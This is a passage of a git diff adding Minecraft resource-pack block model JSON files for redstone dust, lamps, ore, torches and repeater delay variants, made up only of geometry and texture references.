+ "down": { "uv": [ 0, 16, 16, 8 ], "texture": "#overlay" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/redstone_dust_side_alt0.json b/src/assets/minecraft/models/block/redstone_dust_side_alt0.json new file mode 100644 index 00000000..f74884dd --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_dust_side_alt0.json @@ -0,0 +1,6 @@ +{ + "parent": "block/redstone_dust_side_alt", + "textures": { + "line": "block/redstone_dust_line0" + } +} diff --git a/src/assets/minecraft/models/block/redstone_dust_side_alt1.json b/src/assets/minecraft/models/block/redstone_dust_side_alt1.json new file mode 100644 index 00000000..a31f8487 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_dust_side_alt1.json @@ -0,0 +1,6 @@ +{ + "parent": "block/redstone_dust_side_alt", + "textures": { + "line": "block/redstone_dust_line1" + } +} diff --git a/src/assets/minecraft/models/block/redstone_dust_up.json b/src/assets/minecraft/models/block/redstone_dust_up.json new file mode 100644 index 00000000..2154da22 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_dust_up.json @@ -0,0 +1,26 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/redstone_dust_dot", + "line": "block/redstone_dust_line0", + "overlay": "block/redstone_dust_overlay" + }, + "elements": [ + { "from": [ 0, 0, 0.25 ], + "to": [ 16, 16, 0.25 ], + "shade": false, + "faces": { + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#line", "tintindex": 0 }, + "north": { "uv": [ 16, 0, 0, 16 ], "texture": "#line", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 0.25 ], + "to": [ 16, 16, 0.25 ], + "shade": false, + "faces": { + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#overlay" }, + "north": { "uv": [ 16, 0, 0, 16 ], "texture": "#overlay" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/redstone_lamp.json b/src/assets/minecraft/models/block/redstone_lamp.json new file mode 100644 index 00000000..530bd0d7 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_lamp.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/redstone_lamp" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/redstone_lamp_on.json b/src/assets/minecraft/models/block/redstone_lamp_on.json new file mode 100644 index 00000000..bde04e26 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_lamp_on.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/redstone_lamp_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/redstone_ore.json b/src/assets/minecraft/models/block/redstone_ore.json new file mode 100644 index 00000000..a387db99 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_ore.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/redstone_ore" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/redstone_torch.json b/src/assets/minecraft/models/block/redstone_torch.json new file mode 100644 index 00000000..47d4d756 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_torch.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_torch", + "textures": { + "torch": "minecraft:block/redstone_torch" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/redstone_torch_off.json b/src/assets/minecraft/models/block/redstone_torch_off.json new file mode 100644 index 00000000..9dcffffe --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_torch_off.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_torch", + "textures": { + "torch": "minecraft:block/redstone_torch_off" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/redstone_wall_torch.json b/src/assets/minecraft/models/block/redstone_wall_torch.json new file mode 100644 index 00000000..2d2a9496 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_wall_torch.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_torch_wall", + "textures": { + "torch": "minecraft:block/redstone_torch" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/redstone_wall_torch_off.json b/src/assets/minecraft/models/block/redstone_wall_torch_off.json new file mode 100644 index 00000000..eb02aed8 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_wall_torch_off.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_torch_wall", + "textures": { + "torch": "minecraft:block/redstone_torch_off" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/repeater_1tick.json b/src/assets/minecraft/models/block/repeater_1tick.json new file mode 100644 index 00000000..8539d997 --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_1tick.json @@ -0,0 +1,44 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater", + "slab": "block/smooth_stone", + "top": "block/repeater", + "unlit": "block/redstone_torch_off" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 7, 2, 6 ], + "to": [ 9, 7, 8 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + }, + { "from": [ 7, 2, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_1tick_locked.json b/src/assets/minecraft/models/block/repeater_1tick_locked.json new file mode 100644 index 00000000..d1457f3d --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_1tick_locked.json @@ -0,0 +1,45 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater", + "slab": "block/smooth_stone", + "top": "block/repeater", + "lock": "block/bedrock", + "unlit": "block/redstone_torch_off" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 2, 2, 6 ], + "to": [ 14, 4, 8 ], + "faces": { + "down": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "up": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "north": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "south": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "west": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" }, + "east": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" } + } + }, + { "from": [ 7, 2, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_1tick_on.json b/src/assets/minecraft/models/block/repeater_1tick_on.json new file mode 100644 index 00000000..8123d2cb --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_1tick_on.json @@ -0,0 +1,62 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater_on", + "slab": "block/smooth_stone", + "top": "block/repeater_on", + "lit": "block/redstone_torch" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 7, 7, 6 ], + "to": [ 9, 7, 8 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 5 ], + "to": [ 9, 8, 9 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 6 ], + "to": [ 10, 8, 8 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 7, 7, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 1 ], + "to": [ 9, 8, 5 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 2 ], + "to": [ 10, 8, 4 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_1tick_on_locked.json b/src/assets/minecraft/models/block/repeater_1tick_on_locked.json new file mode 100644 index 00000000..60a40718 --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_1tick_on_locked.json @@ -0,0 +1,54 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater_on", + "slab": "block/smooth_stone", + "top": "block/repeater_on", + "lit": "block/redstone_torch", + "lock": "block/bedrock" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 2, 2, 6 ], + "to": [ 14, 4, 8 ], + "faces": { + "down": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "up": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "north": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "south": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "west": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" }, + "east": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" } + } + }, + { "from": [ 7, 7, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 1 ], + "to": [ 9, 8, 5 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 2 ], + "to": [ 10, 8, 4 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_2tick.json b/src/assets/minecraft/models/block/repeater_2tick.json new file mode 100644 index 00000000..b8323e2b --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_2tick.json @@ -0,0 +1,44 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater", + "slab": "block/smooth_stone", + "top": "block/repeater", + "unlit": "block/redstone_torch_off" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 7, 2, 8 ], + "to": [ 9, 7, 10 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + }, + { "from": [ 7, 2, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_2tick_locked.json b/src/assets/minecraft/models/block/repeater_2tick_locked.json new file mode 100644 index 00000000..8dc5975b --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_2tick_locked.json @@ -0,0 +1,45 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater", + "slab": "block/smooth_stone", + "top": "block/repeater", + "lock": "block/bedrock", + "unlit": "block/redstone_torch_off" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 2, 2, 8 ], + "to": [ 14, 4, 10 ], + "faces": { + "down": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "up": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "north": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "south": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "west": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" }, + "east": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" } + } + }, + { "from": [ 7, 2, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_2tick_on.json b/src/assets/minecraft/models/block/repeater_2tick_on.json new file mode 100644 index 00000000..11a2bcb1 --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_2tick_on.json @@ -0,0 +1,62 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater_on", + "slab": "block/smooth_stone", + "top": "block/repeater_on", + "lit": "block/redstone_torch" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 7, 7, 8 ], + "to": [ 9, 7, 10 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 7 ], + "to": [ 9, 8, 11 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 8 ], + "to": [ 10, 8, 10 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 7, 7, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 1 ], + "to": [ 9, 8, 5 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 2 ], + "to": [ 10, 8, 4 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_2tick_on_locked.json b/src/assets/minecraft/models/block/repeater_2tick_on_locked.json new file mode 100644 index 00000000..12a1cbe8 --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_2tick_on_locked.json @@ -0,0 +1,54 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater_on", + "slab": "block/smooth_stone", + "top": "block/repeater_on", + "lit": "block/redstone_torch", + "lock": "block/bedrock" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 2, 2, 8 ], + "to": [ 14, 4, 10 ], + "faces": { + "down": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "up": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "north": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "south": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "west": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" }, + "east": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" } + } + }, + { "from": [ 7, 7, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 1 ], + "to": [ 9, 8, 5 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 2 ], + "to": [ 10, 8, 4 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_3tick.json b/src/assets/minecraft/models/block/repeater_3tick.json new file mode 100644 index 00000000..e854cc01 --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_3tick.json @@ -0,0 +1,44 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater", + "slab": "block/smooth_stone", + "top": "block/repeater", + "unlit": "block/redstone_torch_off" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 7, 2, 10 ], + "to": [ 9, 7, 12 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + }, + { "from": [ 7, 2, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_3tick_locked.json b/src/assets/minecraft/models/block/repeater_3tick_locked.json new file mode 100644 index 00000000..6d64a3dc --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_3tick_locked.json @@ -0,0 +1,45 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater", + "slab": "block/smooth_stone", + "top": "block/repeater", + "lock": "block/bedrock", + "unlit": "block/redstone_torch_off" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 2, 2, 10 ], + "to": [ 14, 4, 12 ], + "faces": { + "down": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "up": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "north": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "south": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "west": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" }, + "east": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" } + } + }, + { "from": [ 7, 2, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_3tick_on.json b/src/assets/minecraft/models/block/repeater_3tick_on.json new file mode 100644 index 00000000..414032e6 --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_3tick_on.json @@ -0,0 +1,62 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater_on", + "slab": "block/smooth_stone", + "top": "block/repeater_on", + "lit": "block/redstone_torch" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 7, 7, 10 ], + "to": [ 9, 7, 12 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 9 ], + "to": [ 9, 8, 13 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 10 ], + "to": [ 10, 8, 12 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 7, 7, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 1 ], + "to": [ 9, 8, 5 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 2 ], + "to": [ 10, 8, 4 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_3tick_on_locked.json b/src/assets/minecraft/models/block/repeater_3tick_on_locked.json new file mode 100644 index 00000000..5c21a323 --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_3tick_on_locked.json @@ -0,0 +1,54 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater_on", + "slab": "block/smooth_stone", + "top": "block/repeater_on", + "lit": "block/redstone_torch", + "lock": "block/bedrock" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 2, 2, 10 ], + "to": [ 14, 4, 12 ], + "faces": { + "down": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 